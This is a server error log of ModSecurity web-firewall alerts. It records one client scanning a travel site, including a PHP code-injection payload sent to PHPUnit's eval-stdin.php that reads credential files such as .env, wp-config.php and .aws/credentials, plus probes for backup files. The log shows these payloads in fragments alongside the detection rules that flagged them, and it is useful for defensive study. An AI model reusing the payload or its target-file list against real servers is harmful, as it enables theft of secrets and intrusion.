[Fri Jul 17 08:55:19.102250 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.103739 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.106177 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.106464 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.108207 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.109509 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local.php.swp"] [unique_id "almgn4l9vhFBGA6D8l96BwAAAAw"]
[Fri Jul 17 08:55:19.110260 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local.php.swp"] [unique_id "almgn4l9vhFBGA6D8l96BwAAAAw"]
[Fri Jul 17 08:55:19.110470 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.110721 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4l9vhFBGA6D8l96BwAAAAw"]
[Fri Jul 17 08:55:19.116511 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.118596 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/local.php.backup"] [unique_id "almgn7oj0IkvhSCYadmBqQAAAAQ"]
[Fri Jul 17 08:55:19.119368 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/local.php.backup"] [unique_id "almgn7oj0IkvhSCYadmBqQAAAAQ"]
[Fri Jul 17 08:55:19.119545 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.119786 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn7oj0IkvhSCYadmBqQAAAAQ"]
[Fri Jul 17 08:55:19.129951 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.149439 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.163342 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.164531 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.164739 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn0gVnBK6wAv37w6sQgAAABQ"]
[Fri Jul 17 08:55:19.170952 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.172517 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.179341 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.203814 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.py.bak"] [unique_id "almgn_wooI4qY7Jg93pVWgAAABM"]
[Fri Jul 17 08:55:19.204643 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.py.bak"] [unique_id "almgn_wooI4qY7Jg93pVWgAAABM"]
[Fri Jul 17 08:55:19.204863 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.205142 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn_wooI4qY7Jg93pVWgAAABM"]
[Fri Jul 17 08:55:19.211287 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".py~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.py~"] [unique_id "almgn4Zvbo7N5o5zeYC-agAAABw"]
[Fri Jul 17 08:55:19.212075 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.py~"] [unique_id "almgn4Zvbo7N5o5zeYC-agAAABw"]
[Fri Jul 17 08:55:19.212273 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.212494 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn4Zvbo7N5o5zeYC-agAAABw"]
[Fri Jul 17 08:55:19.219929 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.225199 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.py.old"] [unique_id "almgn-1pLmPpy2r_2CxfTQAAAA8"]
[Fri Jul 17 08:55:19.225804 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.py.old"] [unique_id "almgn-1pLmPpy2r_2CxfTQAAAA8"]
[Fri Jul 17 08:55:19.225971 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.226157 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgn-1pLmPpy2r_2CxfTQAAAA8"]
[Fri Jul 17 08:55:19.229450 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:19.234232 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.py.swp"] [unique_id "almgnw7FYe46zHK_jL3P2wAAABk"]
